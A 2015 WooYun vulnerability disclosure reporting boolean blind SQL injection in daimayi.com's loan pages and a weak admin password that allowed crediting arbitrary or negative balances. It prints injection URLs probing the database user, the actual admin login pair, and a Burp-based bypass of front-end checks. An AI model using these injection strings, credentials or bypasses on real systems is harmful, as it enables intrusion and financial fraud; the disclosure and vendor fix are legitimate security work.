当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111844

漏洞标题:贷蚂蚁bool盲注&后台弱口令可充值任意金额

相关厂商:daimayi.com

漏洞作者: 路人甲

提交时间:2015-05-04 10:06

修复时间:2015-06-18 12:02

公开时间:2015-06-18 12:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-04: 细节已通知厂商并且等待厂商处理中
2015-05-04: 厂商已经确认,细节仅向厂商公开
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

rt

详细说明:

1.注入点:
http://www.daimayi.com/index.php/Loan/loan_detail/p_id/46/i_id/6
p_id i_id都可注入
条件为真:

1.png


条件为假:

2.png


数据库用户长度为14:

3.png


http://daimayi.com/index.php/Loan/loan_detail/p_id/46/i_id/6 and substr(user(),1,1)='r'
http://daimayi.com/index.php/Loan/loan_detail/p_id/46/i_id/6 and substr(user(),2,1)='o'
http://daimayi.com/index.php/Loan/loan_detail/p_id/46/i_id/6 and substr(user(),3,1)='o'
http://daimayi.com/index.php/Loan/loan_detail/p_id/46/i_id/6 and substr(user(),4,1)='t'
http://daimayi.com/index.php/Loan/loan_detail/p_id/46/i_id/6 and substr(user(),5,1)='@'
...


用户为root@localhost
2.后台弱口令:
www.daimayi.com/admin.php
xiaozhang/xiaozhang 可登录
小管理员,但是可以操作充值任意金额。
比如,充个10100...(仅测试)

4.png


登录自己的测试帐号,发现秒到账。

5.png


还可以充入负数哦~(前端js检查是否为正数,后端未检查,burp改包绕过js检查)

6.png


登录自己的测试帐号,看到充值记录:

7.png


这后台的功能我也是醉了。。。

11.jpg


漏洞证明:

如上

修复方案:

1.index.php中loan是一个类?所有参数几乎都有注入,请自行修补
2.后台用户弱口令要改一改。最好是限制一下后台登录ip不对外。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-05-04 12:01

厂商回复:

已经联系技术解决,谢谢!

最新状态:

暂无